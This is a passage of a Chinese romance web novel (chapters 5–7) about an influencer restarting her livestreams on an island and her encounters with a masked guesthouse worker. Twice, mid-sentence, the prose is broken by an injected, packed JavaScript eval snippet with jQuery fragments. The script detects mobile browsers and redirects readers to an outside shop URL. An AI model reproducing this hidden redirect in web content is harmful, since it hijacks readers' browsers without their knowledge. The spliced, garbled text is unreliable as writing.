她心随风动。原来,这儿就是夏安岛啊。
小花园旁,有一道不起眼的石阶悄然探向崖壁下方,麦初发现后心念一动,顺着这人工凿出的阶梯缓步而下。
石阶迂回,海风渐强,湿润的气息扑面而来,当她踏下最后一级台阶时,眼前豁然开朗,一片宛如天空倒置的玻璃海赫然出现在悬崖底部。
只见阳光穿过这片罕见的海域,海水碧波如洗,浮光跃金,每一处深浅恰到好处,层次分明纯净透亮,引得针鱼群悠然游荡,它们时而舒展如飘带,时而聚拢似光团,随着波光粼动,在蓝绸间划出数道明灭不定的光痕。
麦初站在岸边软糯的细沙之上,一时忘了言语,她任由温暖的海水浸湿了双脚,体内的空旷之处也被大自然所治愈,所有的美好词汇在这绝美的风景下显得贫瘠,所有的烦恼也被衬得虚无,仿佛只需一道初生的微光,她便被一种难以诉说的充盈所填满。
她的呼吸在不知不觉与那一波波的海浪声同频,仿佛连思绪也被这往复不息的水声涤荡、抚平,最终得到净化。
一个念头也在这潮汐般的呼吸间清晰起来:不如就在这海与天的见证下开一场复出直播吧。
没有十分刻意的回归,也没有精心包装的亮相,只是一场简单的,与粉丝久违的坦诚相见。
当时老账号突然陷入停更,她一直未能与粉丝说清其中的缘由,它像一块小小的礁石,一直横亘在她与粉丝之之间,她的无限沉默也引发了各种猜测与质疑,她始终欠粉丝们一个正式的交代,却迟迟找不到合适的发声契机。
如今两年的竞业期已过,她此刻置身于这片被崖壁环抱的玻璃海边,感受着久违的安宁,忽然觉得这场不期而遇的平和,或许就是最好的开口时机。
于是,她取出随身携带的自拍杆,稳稳地立在细软的沙地上,待夹好手机调整好角度,直到镜头里装下自己,也装下身后那片清亮如果冻、碧波荡漾的玻璃海,她深吸一口气后,按下了那个久违的直播开始按钮。
现在这个时间,正是大家揉着热惺忪睡眼,醒来后习惯性滑动手机的时刻。
当随机推荐的视频中突然出现了麦初的直播画面,起初不少人还以为是自己眼花看错了。
请问今夕是何年?这真的是断更两年的麦初在直播吗?
带着满心的好奇与诧异,他们都不约而同地纷纷点进了直播间。
这是麦初在老账号停更整整两年后,第一次正式露面,闻讯的粉丝纷纷涌入直播间,他们足够热情,密密麻麻地开始刷屏站队列。
麦初望着那些满是支持与牵挂的弹幕,指尖微顿,缓缓平复了心底翻涌的情绪,才轻声开口与大家打招呼。
“大家好,我是麦初,好久不见……”
正当一切有序进行时——
蓦地,一道高挑的身影毫无预兆地切入了画面,也挡住了麦初身后那片明媚的海天光线。
先是一截干净的纯白T恤下摆在镜头中闪现,紧接着,一个戴着鸭舌帽的年轻男人骤然出现,他双手插兜,以极其慵懒闲适的姿态,猝不及防地闯入镜头,并完整地侵占在了麦初的直播画面里。
这道身影的出现犹如如画的湖面被石子打破了所有平静一般,也打破了麦初原有的直播流程,她原本还要继续说下去的话,也彻底消断在了海风中。
她见有人误入镜头,下意识地往后退了一步,怕侵犯到别人隐私,习惯性地想要道歉,可就在她抬首望去的那一刻,两人的视线不期而遇……
鸭舌帽压低的阴影下,是两道轮廓分明的眉骨,还有一双如光似电的眼睛,即便下半张脸被黑色口罩严实实地掩住,那利落分明,棱角清晰的下颌线,依旧是藏不住的出众骨相。
风在继续吹,草在继续摇,浪在继续吟唱。
这人眼沉如漆,静邃似渊,背后那片清透的玻璃海,瞬间沦为它浑然天成的背景,直播的镜头在观众的视角下仿佛构成了一个天然取景框。
而他的闯入,恰恰成就了那等待已久的画面里最意料之外,却最为点睛的一笔。
5. 5
乔翊今天照常到民宿门口,一眼就察觉到了异样。
那一直放在悬崖台阶前,醒目标注着“游客止步”的三角锥桶又不见了。
民宿位处于悬崖之上,下面就是美到失语的玻璃海,然而它再美终究是海,看似平静却暗流涌动。尤其普通游客不会识别离岸流这类突发情况,更显危机四伏,所以这片玻璃海平常不直接对外开放,如果有游客想下去佟川夫妻会轮流陪同,确保安全。
以前台阶入口一直有条铁链拴着,用来禁止游客私自下崖,但常年的风吹日晒,它早已锈迹斑斑,在不久前的强台风中终于被吹断成了两截,而原本插在一旁的“游客止步”提示牌也不幸被台风刮走了。
佟川向岛上的村委会报修后一直没见人来修理,他们夫妻二人平常既要忙着民宿看店,还要来回接送游客,加上老板娘身体一直不大好,这事便被搁置了下来,佟川只能从网上定制“游客止步”的三角锥桶暂时作为替代。
当然,也不乏一身反骨,无视锥桶跃跃欲试私自下去的游客,为此佟川特意在民宿门口装了个监控,镜头对准小花园,这样也方便他在民宿前台盯梢。
不过自从乔翊发现崖上的猴子也会把三角锥桶当成玩具后,他觉得这事也不能全怪人。
说起来岛上的猴子以前没有这么多,和岛民一直相安无事地和平共处着,随着岛上旅游业的相继开发,前来小岛的旅客虽远不敌近邻青禾,却也算在日渐增多。也不知从哪批游客开始胆大地给这些猴子投喂食物,吸引了猴群聚集加速了繁殖率,这两年猴子的数量肉眼可见地增长,它们野蛮生长,肆意壮阔,破坏了原有的生态平衡,投喂的游客乐呵完后拍拍屁股走了,本地岛民们却遭了殃,因为猴子越来越亲近人后也蠢蠢欲动地开始触犯人类领地,民宿门口的花园可能被它们当成了御花园,没事就来逛两圈,还能顺带点东西走,比如用来安全提示的三角锥桶。
他刚到民宿门口,远远瞥见玻璃海滩上有个人影,也顾不上追本溯源那锥桶到底是人为还是猴为,只想着先把人带上来再说,于是就有了他误入人家直播镜头的那一幕。
他以为她在海边自拍,居然是直播,她是做什么的?网络主播?
他不抗拒网红,但十分抗拒镜头,等意识到对方是在直播时已来不及躲开,好在他因为感冒戴着口罩,没有暴露自己的脸。
麦初对这突发状况也很意外,她把乔翊当成了普通游客,快速游离出镜头跟他道歉,“不好意思,我在直播,打扰到你了。”
落入乔翊眼中的,既不是泯然众人的普通面孔,也不是千篇一律的网红五官,她气质清透出尘,态度谦和诚恳。
“还有多久?”弄清楚她在干嘛,乔翊看着她问。
远处有浪花在翻涌,海风聒噪拂面,他们伫立在浸透了海潮湿气的空气中,两人因为直播的手机而拉开距离,对方还戴着口罩,话音模糊在风中,麦初空耳一瞬,没听清他在说什么。
海风时不时会吹乱她的长发,即使她为了防晒戴着一顶空顶防晒帽也无济于事,她只得将碎发重新拢向耳后,朝他迈了两步。
距离一近,身高差便显了出来,她微微仰脸,目光直直落进他眼里:“什么?”
骤然缩短的距离,他周身萦绕的不再是海风中的咸涩,而是从她身上循循而来的香气,清新淡雅,像这夏日中被新鲜调制的Mojito。
随着她饱满的红唇一张一合,那气息又如同杯壁上悬挂着的晶透小水珠,它似落非落,最终缓缓滴落在他鼻尖,悄然蒸发。
乔翊眼前是她的细眉微蹙、神色迷离,两颊还泛着被热气熏染开绯红痕迹。
见他半晌没反应,她又启唇重复了一遍,“你说什么?”
海风正一遍遍地吹扯着乔翊的白T下摆,时而紧贴小腹,勾勒出若隐若现的腰线,时而又松散垂落,独自晃荡,如此往复后,衣褶无声起伏,像一道道浅淡的指纹,全是风捉弄人的证据。
麦初的余光里,他那被风染指后倏然展现的肌肉线条,对比网上那些关掉美颜、关掉滤镜、关掉腿长特效后原形毕露且性缩力满满的身材,还挺货真价实的。
乔翊的视线从她脸上移开,朝设备抬了抬下巴,还是那句:“还有多久?”
麦初这次听清了,赶紧说:“马上。”
她直播向来怕打扰别人,开播前特意选了这片无人的角落,可一旦给人造成困扰,她的边界感也不会容许自己再直播下去。
于是她简短地同粉丝解释几句,仓促结束了这场复出直播。
麦初设备本就精简,一部手机,一个伸缩支架,三两下便整理妥当。
等收拾完毕,她也不忘解释。
“刚才我在直播,除了直播间的粉丝能看到你,不会再有其他人会看见的。”见他不为所动,她又补上一句,“你放心,我粉丝不多,也不会有什么切片回放。不过刚才确实打扰到你了,一会儿上去我请你喝杯饮料或者吃顿饭好吗?”她发出邀请诚表歉意。
“不必了,你还玩吗?”乔翊平常不怎么玩网络,也不关心什么切片不切片,只想确定她在这片沙滩玩够了就赶紧上去。
民宿还等着他过去看店,徒留佟光那小鬼一人,多半怕是会应付不过来。
麦初以为他问的是直播,摇了摇头说,“不玩了。”便就此原路返回。
可走了几步,身后很快有脚步声贴了上来,麦初一回头,那人竟也在往回走,像是要同她一道。
她心想:他不也是下去玩的游客吗?这就不玩了?
又转念:也好,她正愁没法赔罪,眼下两人一起上去,她趁机把歉意解决,也能早点去找车子动身去青禾。
两人就这样一前一后,沿着石梯拾级而上。
麦初之前图方便,脚上趿着民宿提供的凉拖就出来了,人下来的时候还没什么感觉,上去的时候却觉要吃力许多,她不仅龟速缓慢,还一直被滚烫的石子路啄着脚底,而身后那人始终与她隔着几级台阶,不急不近也不催,像在耐心等她。
也不知从哪一级台阶开始,两人杂乱的脚步悄然重合,渐渐同频,鞋底与石头梯摩擦发出的碰撞声也恍若是这灼热盛夏中的微妙低语。
麦初加紧脚步的同时,不禁开始走神,这人大白天戴着口罩是用来防晒的吗?
她走着走着发现,脚下这段长长的石梯好像都是由人工砌成的,靠海的一边是木质围栏,也是后天搭建,只有另一侧傍山而生的悬崖石壁才是大自然的杰作。
石壁上方则是枝繁叶茂的印度榕,它们根系盘绕,树冠浓密,枝杈错综复杂,不仅为行至此处的人遮阴挡阳,也是岛上野生猴群的核心活动区域,当有风吹过时,伴随着枝叶的晃动它们会发出阵阵的短啼声。
麦初下来的时候带着初遇玻璃海的欣喜,人在目标明确的时候自然也会心无旁骛,压根没有注意到什么猴子,这会儿返程才惊觉这个生物的存在。
之前她在峨眉山旅拍的时候,随行的工作人员被山上的猴子攻击过,虽然最后有惊无险,只是被抢走了一个背包,但她还是留下了心理阴影。
果不其然,一只成年猴子突然从树上落到石阶上,再一个弹跳蹲在了木围栏上,动作一气呵成,丝毫没有要走的意思,真是怕什么来什么。
麦初心生悚然,整个人几乎本能地往后退,眼看要与后面那人撞在一起,一只有力的手臂支稳稳从后撑住她的身体,待她重拾重心站稳后,又快速抽离。
身后传来他低沉的声音。
“继续走,别跟它对视。”
麦初心绪仿佛跟着身体被稳住,她全然照做,只顾闷头赶路,可要从猴子身边经过终究避无可避,随着距离越来越近,她步伐不禁变得慌乱,一个紧张,脚底的凉拖没跟上脚步,打了滑。
突发状况令麦初胸口如鼓震颤,猴子此起彼伏的吱叫声犹然在耳,恐惧感笼罩之下总觉得它们好像下一秒就要朝她扑过来。
心头跌宕之际那股力量又及时地撑住了她,如同绝处逢生时伸出的援助之手,这一次不再是臂膀,而是他的掌心。
隔着轻薄的衣料,他的掌心贴上她的背脊,明明只有一只手的力量,却能将她整个人架起似的,让她晃荡的重心再次落定。
他在身后轻声叮嘱:“别慌,看脚下。”
蝉鸣声不知从何渐起,带着灼热的温度,熨烫着耳膜与皮肤,麦初胸口怦然,本能地点下头后才反应过来他在自己身后,应该看不到她的动作。
她很瘦,乔翊的掌心几乎能描出她背部那片蝴蝶骨的轮廓,单薄得直抵着他的手,而那杂乱无章的心跳,正一下下撞进他掌心里。
待她步调渐稳,那频率也慢了下来,他便收了手。
“走,别停。”
很有边界感的肢体接触,至少不会让麦初觉得反感,可明明手已离开,被他停留过的那一处皮肤始终滞后地残留着高温。
这回她一鼓作气直往上走,等回到悬崖之上,手心已沁出了汗,莫名的,她居然有股酣畅淋漓的胜利。
“谢谢。”麦初微喘着气,回首致谢,动作牵扯着背后的余温。
“没事。”
“那个,请你稍等一下。”见他也没停步的意思,麦初出声拦截。
乔翊驻足,用眼神发出“还有事?”的询问。
两人视线再次交汇,麦初粉面桃腮,眸光明若春水,却仍是一脸真诚。
而对方口罩下未知的全貌使其浑身充满了一股神秘,令麦初不禁在心底好奇:他该不会跟网上那些只露半张造势营销,最终颜值翻车的主播类似吧?
“说好上来请你吃东西的。”言语上,麦初礼节性地再次提及此事。
就算不谈直播打扰到他的事,单是刚才那石阶上的一路护送,她理应表示感谢才是。
“不用。”跟在崖下沙滩一样,他又一次直接拒绝了她。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182739|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那请你喝个饮料总可以吧?”
民宿里有自动贩卖机,麦初打算买瓶饮料给他,既不会耽误他的游玩时间,也能了却她一桩心事。
“你好小姐姐,请问,能不能帮我们拍下照片?”
只是,这时有三个游客模样的女孩忽然走近,打断了两人的对话,她们青春洋溢的模样一看就是大学生。
她们一出现,目光就直直落在麦初身上,满眼的期待。
刚才麦初站在悬崖石梯上,清新脱俗的气质远远就抓住了她们的视线,走近了才发现,她居然还是纯素颜,这也太顶了吧?
眼前还有事在身的麦初犹豫了一下,但出于礼貌还是做出一丝回应:“在哪里?”
“就那里。”女孩们纷纷指向民宿前的观景台,也是麦初一早被景色震慑住的地方。
距离不远,看她们满眼期待,麦初也不忍心扫了兴,只得轻轻点头:“好。”
“谢谢小姐姐!”
“不客气。”
“那个,我帮她们拍个照就来,你等我一下,就一下下。”刚刚还没等到他的回复就被打断,麦初还记挂着要还他人情,所以走之前不忘提醒他等她。
其中一个女孩也不好意思地双手合十朝他打招呼,“不好意思啦小哥哥,向你借走小姐姐一会儿,很快就还哦。”
此时,先行转身走开的麦初没听到女孩这句,而听到的乔翊则微蹙起眉梢。
他们俩不是那种关系的话还未宣告出口,急于拍照的女孩们已经兴奋地跑开了。
他来不及说出的话,只得换成目光跟随至观景台。
明明相机对焦是那三个女孩,可脱颖而出的却是镜头之后,举着相机的那道身影。
她背对他而立,倩影在光晕里薄薄一帧,而那阵香气好像还残留在他周身,也不知什么时候沾上的,一直挥散不去。
他后知后觉,是自己掌心里的香味,她在石阶上留下的。
崖上的日照愈演愈烈,蝉也仿佛被它击溃,变得偃旗息鼓。
乔翊并没有在原地等待,他在女孩们的欢声笑语中悄然离去。
照片快速拍完了,女孩们翻看时才发现单反快没电了,便转头问麦初有没有充电宝可以借用。
麦初摇了摇头,如实说自己也没带,正抬手往民宿方向指引时,目光恰好落在那道刚被透明门帘轻轻盖住的背影上。
她一边觉得这人不近人情,一边又不禁恍然。
原来他也是这家民宿的住客啊?那就好办了。
于是她继续指向民宿,热心地告诉女孩们,“那家民宿里有共享充电宝,我带你们去。”
这还是她昨天办理入职时无意瞥见的,没想到自己的随意一看,还能派上点用场。
女孩们如获救星,当即收起相机,结伴跟她往民宿而去。
“小姐姐,你们是住在这家民宿的吗?”
走了几步,有女孩好奇地问她。
麦初点头默认,刚反应过来她为什么要在“你”后面加个“们”字,又听女孩继续追问:“那这家民宿怎么样啊?好像房价是这岛上最贵的呢。”
她们学生党囊中羞涩,出来旅行最看重的还是性价比。
“都挺好的,老板人也很好。”麦初实话实说。
另一个女孩也顺势搭话:“我们订的是岛上的海草房民宿,也还行,就是晚上蚊子有点多,听人说崖上风景好,我们一大早就爬上来看看,果然没白来。”
麦初一听,懂了。
难怪充电宝都没带,大约是几人出门时一个个都难掩兴奋,一激动就把东西落在民宿里了。
一行人叽叽喳喳地进入民宿,麦初回来的第一时间继续搜寻佟老板的身影。
可前台空空依旧,佟川仍不见踪影。
麦初再次一无所获后,告诉女孩们充电宝在前台,自取便可,随后与她们道了别,准备回房继续想离开的办法。
“对了小姐姐,刚才就想问你,你的香水味好好闻,是哪一款啊?”
可刚迈出一步,就有女孩想起什么似的轻轻拉住她,随后眼睛亮晶晶地询问道。
美妆是女孩们永久的话题,当一人开了话茬,另两个立刻叠声跟上:
“对啊对啊,姐姐你好好闻呐。”
“香香的,简直就是夏天的味道。”
麦初正被女孩们团团围着,民宿前台的电话忽而急促响起,一道身影从偏厅踱步而出,他从麦初身后掠过。
而香水的话题还在继续,女孩们的你一言我一语将一切都掩盖了过去,以至于麦初浑然未觉。
——
“邂逅。”
“你好,倦。”
麦初脱口而出的回答与前台的接线声同时响起。
两道声音在半空相撞,像一道隐秘的开关,将她昨日的记忆一并唤醒。
她侧首回眸,与那双眼再次不期而遇。
是他?
6. 6
“嗯,几点?”他一手接电话,一手提笔记下信息,“在码头等,车牌号:xxxxx96。”
他好像就是这种接线风格,淡而无味如同白开水。
相比在现场,他的声音在电话里略显失真,再加上在海边,麦初才没能第一时间听出来,现在她认出了他,但他大抵不记得她是众多电话中的哪一位了。
再从他两次三番回绝她的好意来看,这人确实很有个性,不止是在电话里。
“是香奈儿的邂逅吗?”女孩们还围绕着那个话题向麦初求证。
“对。”麦初把视线从前台处收回来,精准地告诉她们,“是绿邂逅EDP。”
女孩们纷纷点头记下,她们默契地在民宿门口站成一排,脑袋齐刷刷埋下头盯着手机屏幕开始搜索,连原本来到这民宿的目的,顷刻间都被抛到了九霄云外。
“哐。”
乔翊刚放下电话,前方的接待台面赫然被人放了两瓶玻璃装的雪碧,那张素净的脸再次闯入他的视野。
只见她单手拎着两个玻璃瓶狭隘的颈口,目不转睛地看着他:“有启瓶器吗?”
乔翊不知从哪儿真摸出一个启瓶器放置在接待台面上。
麦初接过,接连“呲啦——”两声,无一失足地将瓶盖打开,随后将其中一瓶递至半空送到乔翊面前。
灌入空气的瓶口在呲啦呲啦沸腾中冒着白气。乔翊抬眸,迎上她的目光。
麦初下巴微抬,直截了当,“说好请你的。”
“谢谢。”事不过三,乔翊这次倒是没再拒绝。
他伸手接过玻璃瓶,两人的指尖在半空轻轻一触,如蝶翼拂过晨露未晞的花瓣,转瞬便错开。瓶身凝着的水珠应声滚落,滴在乔翊的手背上,冰凉刺骨,是刚从冷冻贩卖机取出的温度。
“有吸管吗?”麦初接着问,顺便仔细打量民宿的室内装饰与布局,弥补本该是昨日发生的既定流程。
乔翊又将一根吸管递给她,麦初道了谢,抿着吸管将整个民宿上上下下,左左右右巡梭了个遍,最后视线又落回到他身上。
“所以你是这儿的……店小二?”
他戴着口罩,大半张脸隐藏在其后,看不见表情,只有喉结清晰地滚动了一下,“要住宿么?”
他没有正面接她的话,而是反问了一句。
“不。”麦初摇头否认,手中的吸管总是会像海上的浮标那样,不安分地从气泡水中弹跳出来,在她指腹间上下滑动,麦初才将它按下去,它又弹起来,如此往复。
摆弄间,她悠悠然开口:“要退宿。”
乔翊听她说到退宿,脑中自动过滤了一遍。这两天但凡是白天来的住客都经过了他的手,唯独她没在前台见过,那应该就是昨天佟川从潭县接来的那位。
哦,是她。
他微微颔首,顺着她的话说:“房卡。”
只示意她退房时归还房卡即可,多余的话却一句没提。
麦初当然没有拿出房卡,车子的事还没着落,她现在还走不了。
她想着,既然佟老板不在,问眼前这个人也一样,还更方便,他应该也是本地人吧?
于是她转而向他开口,“对了,你知道,附近哪里有能包车的地方吗?”她语速温吞,像是随口一提。
她说话的时候捏着吸管缓缓搅动,绵密的气泡围绕着吸管缠上来,它们正躁动不安地想冲破瓶口,企图与空气来一次亲密得接吻。
乔翊看着她的动作,忽而伸手将柜台上的纸巾盒拉到麦初手边,又抽出几张,轻轻垫在她的玻璃瓶颈下,随后才抬眼问她:
“你要去哪里?”
麦初指尖一顿,吸管停了。
“青禾。”
可她话音刚落,蠢蠢欲动的气泡已破瓶而出,它们摆脱束缚后,迅速转化为甜丝丝的糖水,势不可挡地喷涌流淌。
好在刚才那圈纸巾被先一步垫在瓶颈,麦初能及时抽手,才没被黏得满手都是。
她暗叹他准确的预判,也赶紧抽过纸巾继续阻止后面纷涌而上的气泡,可惜已是亡羊补牢,还是有漏网之鱼滴在了台面上,她试图用纸巾擦拭,却是顾了这头那头又在漏,擦了又冒,冒了又擦,一时有些狼狈。
忙乱之际,一只手凌空拎走了那瓶失控的雪碧,另一只手连抽几张纸巾与她擦拭的动作完成接力。
他说:“放着,我来。”
麦初作为始作俑者也没道理视而不见,她嘴上说着没事继续去抽纸巾,两人动作出奇一致,都去摸那纸巾盒,两只手也差点互相抓住。
又一次擦手而过,麦初指尖一缩紧急撤回,这下老实了,只得听他的话,杵在原地看他“善后”。
他低着头,把那圈浸透糖水的纸巾小心揭下,台面也在他利落的动作下很快被收拾干净。
见四下无人,只有两人交错的呼吸,麦初略有犹豫,终是忍不住开了口,“你们民宿,还会管客人在沙滩待多久的吗?”
想起被他打断的直播麦初就觉得可惜,那片玻璃海她都还没来得及拍照。
谁知乔翊头也不抬地说,“怕你跳海。”
麦初差点没被气笑,“你有见过直播跳海的?”
“不好说,现在直播除了鬼还有什么见不到的?”
“……”
“Hello. ”
身后突然传来一声问候,两人的对话再一次被打断。
麦初顺势转身,又见到了那三个女孩。
原来三人搜完香水后看到价格皆两眼一黑,随后心照不宣地关上橙色软件,你看我我看你,面面相觑。
“线上免税店有香奈儿卖吗?”有人先问道。
“我听我妈说过小香的免税好像只走线下。”另人回答。
两人如火如荼地讨论着,直到另一人骤然发问:“等等,我们到这里是要干嘛来着?”
三人又齐刷刷顿悟,“借充电宝!”
然后就有了几人在前台的再次会晤。
“Hi.”再次见面,麦初回之一笑,她指了指共享充电宝所在之处,替她们免去寻找的时间,“喏,充电宝在那里。”
“谢谢姐姐,来了来了。”
共享机柜就在前台旁边,女孩们笑眯眯地靠近,只是有人在研究如何取充电宝,有人却在八卦。
有两个女孩咧着嘴说:“原来哥哥姐姐是老板和老板娘啊,先前就听指路的当地人说这家民宿是夫妻店,没想到这夫妻就是你们。”
“难怪姐姐刚才说老板人好,”另一个立马接话,她笑意暧昧,“原来是一家人不说两家话呀!”
话音一落,两人还默契地对视一眼,压不住笑地发出感叹,“好甜呐——”
她们七嘴八舌,麦初却听着不对劲。
等等,什么老板和老板娘?
“我们不是。”一道声音赫然从前台内传来,如同在石梯上从她耳畔划过的声音,不重却稳。
“她是住客,我是……”他稍停了半拍,随后摊开自己的身份,“店小二。”
对于他快于她反应的澄清,麦初不由微微一怔,有些意外。
过去那些年里,网络上关于她的流言从没断过。脸既是武器,也是靶子,总有人借着营销号对她恶意拉踩,今天无中生有传她背靠MCN高层,明天又捕风捉影炒她跟男网红的CP,她就像一枚可供炫耀的标签,被抹黑张贴、被公开展示、被议论纷纷。而那些男人坐享完流量的红利后,便心照不宣地完美隐身,徒留她一个人在风口浪尖,被口水所淹没。
她早已习惯了自己为自己发声,自己把黑掉的标签撕下,再一点点拨乱反正。可这是第一次,有人先她一步站了出来。无论初衷是为自己澄清,还是顺带替她出声,总归是在第一时间撇清了关系,没有模棱两可,没有含糊其辞,也不给人任何留白猜测的余地,避免了不明真相的看客误会越积越深。
反应过来是错搞了乌龙,女孩们赶紧捂嘴,为自己的口无遮掩感到抱歉,“啊啊啊,对不起对不起,我们刚刚在外面就看到你俩在一块儿,我们以为是一对,进来看到你们又在一起,就误以为你们就是老板和老板娘……”
三人抢着解释,声音像在打架。
“对对对,误会了,误会了。”
“主要你们站在一起实在登对了……”
“看来我差点就越俎代庖了。”麦初意有所指地指了指偏厅里的小佟光,顺便告诉她们,“老板老板娘这会儿不在,只有个小老板镇店。”她一笑而过,自然化解,小姑娘们嘴快心热,她自然不会计较。
女孩们跟着她的视线看去,也算找到了台阶下,讪讪笑着,只说,“哦哦,好的好的。”
她们因自己的失误早已尴尬得脚趾抠地,恨不得赶紧借好充电宝抱头鼠窜,几人说完也赶紧挪步借充电宝去了。
只是麦初还有些费解,暂且不谈他们怎么被脑补成老板和老板娘这一出,那人明明戴着口罩,正脸都没露一个就说他俩登对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182740|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这也能行?
“岛上交通不便,附近也没有能包车的地方,你要去青禾只能自己线上找车。”
乔翊不知什么时候抽出一张湿巾,低头认真擦拭那片被雪碧浸润过的台面,顺势接回她刚才的话题,不动声色地打破了因女孩们而留下的尴尬。
“找过了,线上不接单人单趟,所以想来碰碰运气,看看附近有没有人愿意跑车。”麦初也自然接话,她自嘲地轻轻耸了耸肩,这趟行程,好像从一开始就没怎么顺过。
“那个……抱一丝哈,又是我们。”一旁的女孩们犹豫着,还是梅开三度地凑了上来。
她们也不是故意要偷听的,奈何共享充电宝的租赁桩就杵在前台边上,人站在这儿,耳朵自然就管不住了,两人的对话又一字不落地全听了进去。
麦初本来就大大方方的,以为她们还有事,扬着眉梢笑问:“怎么了?”
有一个女孩连忙开口:“姐姐,你要是去青禾的话,不介意的话可以跟我们一起走。”
麦初眼前一亮,不会这么巧吧?
“你们也去青禾?”
一个女孩摇着头告诉她:“去青禾的人太多了,人看人的没意思。这回我们专挑冷门地儿走的,要的就是人少清净。不过我们去下一站的时候会经过青禾,到时候让司机下高速送你一趟就好啦。”
这真是误打误撞了,拼车的棘手问题就这样完美得到解决,柳暗花明来得太突然,还在消化中的麦初生怕打扰到她们原本的计划,又反复确认。
“那你们方便吗?会不会打乱你们的行程?”
女孩们齐齐点头,异口同声:“方便啊。”
有人还笑着补充:“反正包的五人座车我们三个人也坐不满,加上你正好。”
“不打扰你们就好,那我就跟你们一块儿拼车,车费我也出一份。”这是江湖规矩,麦初搭顺风车也不想占人便宜,更何况她们还是一群学生,所以她提前表了态。
女孩们连连摆摆手,还在为刚才的乌龙感到不好意思:“不用不用,我们顺路的。”
麦初眨眼一笑,“顺路归顺路,拼车是拼车。本来我一个人包车的话,花销更多,现在省下的钱就当姐姐请你们喝奶茶了。”
但是清澈的大学生满眼实诚得也藏不住话:“可是姐姐,奶茶钱也不需要那么多的。”
这话引得身后传来一声不易察觉的轻笑。
麦初人就靠前台站着,只有她听见了,侧首回看,正对上那人似笑非笑的眉眼。
被她发现后他也毫无避讳,眉眼间那点还没褪尽的笑意,便坦坦荡荡地任由她随意看。
麦初被他这么一反盯,耳根莫名一热,连忙别开眼,把目光重新落回女孩们身上。
“那你们什么时候出发?”
“我们昨天才上岛,打算待七天呢,姐姐你很急着走吗?”小姑娘们也很贴心,也生怕耽误了她的行程。
麦初现在算是个体户,论时间她有的是。
可七天——她在心里默默盘算了一遍,依旧有些踌躇。倒不是急着赶去青禾,而是怕自己在岛上干耗着,她原计划中的景点考察、实地走访、渠道对接等等一件事都推进不了。然而面对三双诚挚的眼睛,她这些犹豫的话又说不出口了。
她思虑再三,最终还是弯起唇角说,应声道:“不急,我跟你们一起。”
女孩们也为自己办的这件举手之劳满心欢喜,她们兴致勃勃地掏出手机,要和麦初互加微信,还说要把她拉进小群,方便之后联系。
等忙完这些,几个姑娘抱着充电宝,又兴致勃勃地跑到民宿外头拍照去了。
麦初这才转过身,重新面向柜台。
人生里的峰回与路转,只在一眨眼的功夫,就好比原先欲退房的她现在就又要改成续房了。
于是,麦初对着那人重新开口:“那个……”
“还办退宿?”乔翊抬眸,接上的却是她最初跟他说的话。
麦初觉得他是故意捉弄,刚才她跟女孩们聊了那么久,他听得明明比谁都欢畅,怎么可能不知道她是要办续住。
为了报复回去,麦初双臂交叠,往柜台上轻轻一靠,头微微一歪再狡黠一笑。
“对了,在这里住宿不是还附带别的项目吗?要是续房,服务是不是更加齐全?”
不等他有所反应,她又慢悠悠补了一句,故意把字音咬得轻俏,有意是提醒。
“忘了?这话可是你说的——店、小、二?”
7. 7
在麦初的求知若渴的眼神下,乔翊不紧不慢地地挪了挪身子,露出那块被他挡在长身后,不怎么显眼的手绘荧光板。它静静立在那里,上面赫然列着几组ABCD套餐,内容均为海上娱乐项目的组合搭配,附有相应价目表,如海钓、浮潜、游艇等,末了还单列一行跟拍服务的价格。
麦初瞠目,所以这些就是他电话里说的其他项目?
的确如此。
夏安岛的客流量虽不算大,但作为一座海滨小岛,该有的海上娱乐项目却一应俱全。岛上大多数民宿为了多一份盈利,都与海上俱乐部合作,将各类项目打包成套餐捆绑销售。一般游客经民宿推荐,抱着着来都来了的心态,多少会选上一个套餐体验一下,既满足了新奇感,又给旅程增添了乐趣。
但像麦初这种远道而来却只住一晚的客人,乔翊也是头一回碰到。毕竟大多数来这儿的人无非是图个清静,可她上岛的目的不明,最终要去的地方又是人声鼎沸、商业气息浓重的青禾,如果她是去那儿旅行的,他不禁又要失笑。
看她一副还挺精明厉害的样子,怎么倒还上赶着去当冤大头任人宰割。
“你以为有什么项目?”乔翊眉梢微抬,伫立在原地,双手抱臂询问。
麦初也是不假思索,张口就来:“私汤,spa,下午茶?”
乔翊眉目舒展,颔首表示:“这些,都有。”他收回一只手,掌心半撑在服务台上,即使隔着台面,仍无形缩近了两人的距离。
他眉眼微弯,似有浅笑噙在嘴角,直到再次开口,他的嗓音低沉而轻缓:“你需要服务吗?”
目光兵戎相接中,他微敛的眼峰依稀可见硬朗,鼻梁半遮,仍不掩其挺括,利落的线条里,压着几分未驯的野性。
麦初可不是个会轻易退让的性子,面对他快要溢出来的挑衅,在他的屈身靠近下,她眉眼一动索性往前一迎,“好啊。”
两张脸陡然拉近,两个好看的鼻尖险些相碰。
他显然没料到她会突然凑近。明明他还戴着口罩,她鼻翼间的呼吸,就隔着那层薄薄的布料轻轻拂在他脸颊上。
方才气势上还占着上风的人,就这样在她蓦然靠过来的瞬间,像被她动作中带来的轻风击中,不自觉地往后一退,又迅速拉开半尺距离。
麦初见他退后,心中暗自窃笑。
